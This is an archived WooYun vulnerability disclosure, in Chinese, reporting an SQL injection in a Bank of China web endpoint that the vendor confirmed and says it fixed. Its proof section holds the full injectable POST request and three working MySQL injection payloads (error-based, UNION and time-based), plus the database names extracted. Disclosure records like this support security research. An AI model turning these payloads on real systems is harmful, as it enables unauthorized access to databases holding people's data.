当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117224

漏洞标题:中国银行某站SQL注入可出数据

相关厂商:中国银行

漏洞作者: 路人甲

提交时间:2015-05-31 08:48

修复时间:2015-07-16 10:00

公开时间:2015-07-16 10:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-31: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经确认,细节仅向厂商公开
2015-06-11: 细节向核心白帽子及相关领域专家公开
2015-06-21: 细节向普通白帽子公开
2015-07-01: 细节向实习白帽子公开
2015-07-16: 细节向公众公开

简要描述:

中国银行某站SQL注入

详细说明:

goods_id存在mysql注入

POST /mobile/getAppInfo?0.24169324222020805 HTTP/1.1
Origin: http://open.boc.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Referer: http://open.boc.cn/mobile
Content-Length: 14
Cookie: PHPSESSID=886u8k83rmtalp7q6l444epbe5; ROUTEID=.2; word=p476; onlineipd=26.120.4.146
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,en,*
Host: open.boc.cn
Pragma: no-cache
Cache-Control: no-cache
goods_id=*


漏洞证明:

Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: goods_id=-7072 OR 1 GROUP BY CONCAT(0x717a627071,(SELECT (CASE WHEN (4546=4546) THEN 1 ELSE 0 END)),0x7171626b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#
Type: UNION query
Title: MySQL UNION query (random number) - 2 columns
Payload: goods_id=-1155 UNION ALL SELECT CONCAT(0x717a627071,0x71674a6a564758614d44,0x7171626b71),1324#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: goods_id=-5497 OR 3490=SLEEP(60)
---
web application technology: Apache 2.2.23, PHP 5.4.17
back-end DBMS: MySQL >= 5.0.0
banner: '5.5.30-ndb-7.2.12-cluster-commercial-advanced-log'
available databases [10]:
[*] container
[*] ec
[*] ezcis
[*] information_schema
[*] mysql
[*] ndbinfo
[*] performance_schema
[*] sap
[*] test
[*] ultrax

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-06-01 09:58

厂商回复:

感谢作者的发现,我们已进行了修复。

最新状态:

暂无